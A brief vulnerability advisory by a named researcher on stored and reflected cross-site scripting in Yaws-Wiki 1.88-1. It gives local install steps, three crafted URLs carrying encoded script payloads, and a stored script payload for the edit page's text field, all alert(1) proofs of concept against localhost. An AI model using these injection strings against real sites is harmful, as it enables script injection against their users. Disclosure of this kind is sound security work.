Stored and Reflective XSS in Yaws-Wiki 1.88-1 (Erlang)

[mike@xxxxxxxxxx]

Software: yaws-wiki
version affected: 1.88-1 
platform:  Erlang
homepage:http://yaws.hyber.org/
Researcher: Michael Brooks
Original Advisory:https://sitewat.ch/en/Advisory/4

Install instructions for Ubuntu:
sudo apt-get install yaws-wiki

Edit:/etc/yaws/conf.d/yaws-wiki.conf
#add this:
<server wiki>
 port = 8181
 listen = 0.0.0.0
 docroot = /var/lib/yaws-wiki
</server>

Then restart yaws:
sudo /etc/init.d/yaws restart


Reflective XSS:
http://localhost:8181/editTag.yaws?node=ALockedPage&tag=%3E%3C/pre%3E%3CScRiPt%3Ealert(1)%3C/ScRiPt%3E
http://localhost:8181/showOldPage.yaws?node=home&index=%3E%3C/pre%3E%3CScRiPt%3Ealert(1)%3C/ScRiPt%3E
http://localhost:8181/allRefsToMe.yaws?node=%3E%3C/pre%3E%3CScRiPt%3Ealert(1)%3C/ScRiPt%3E

Stored XSS:
http://localhost:8181/editPage.yaws?node=home

The large textbox on the editPage.yaws page is vulnerable to xss.  This is 
the"text" post variable:
<script>alert(1)</script>